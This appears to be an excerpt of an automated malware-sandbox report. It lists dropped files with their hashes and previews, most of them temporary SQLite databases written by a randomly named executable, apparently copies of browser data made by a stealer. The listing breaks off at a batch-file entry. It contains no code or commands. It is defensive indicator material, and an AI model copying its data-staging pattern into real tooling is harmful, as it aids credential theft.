Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skojj35v.gwr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeu3pqhx.k3j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zq32gvfb.obo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a9L85OIcc9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aAvn39O04x

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aPuw9M70vz

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aSQ7QlvP77

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aliRleBYhP

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bLfnsMZjRU

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bWh5rnT0mJ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bdaJT2XGlF

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bzFNBd79TJ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c3GqrgpQvo

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c54q0K72zp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c5bJEuKbRD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cDXKoxY7ig

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cNAUAszbg2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cS9iz5zx2Z

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cfyRrRQ3Z7

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d6vkQRpLjD

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dC2o5mNSDb

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dMzrc30daj

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dlWUYMH8Vb

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eMpv42vS1q

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eMwAw5G7bv

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.403856189774723
Encrypted:	false
SSDEEP:	3:22Ads4:8dv
MD5:	2918682094B8AE2F1E3F1B8125BDEC8B
SHA1:	EDD697C95723F346A9540FA99304AC9F14FC56F6
SHA-256:	F3AB6F9F3600DF9FDACDF1410760ADBA142E0BE426456B6047D316E2D768EBE5
SHA-512:	E0CA1C363F6D99686EEB3E21AE7D1EB408C6F2A948218AD4FD588B65FD5259DE03BE6F01D8548E499ED955D928D0C6C10AEA567AFC4E9159C68BCCB02D9DDB30
Malicious:	false
Preview:	ZO9SlU0JAvWeRPBZhQT2kehz5

C:\Users\user\AppData\Local\Temp\eRs6BeWSuB

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.391157485701989
Encrypted:	false
SSDEEP:	6:hCRLuVFOOr+DER5SMLKKBu6qcovKOZG1wkn23fQf9:CuVEOCDEfSMdBu7fa
MD5:	EAB0410912EC696D70BDC135B09CC8FB
SHA1:	69DC77FBD29479B9785DEA4A8F8CD9D01A93D0C9
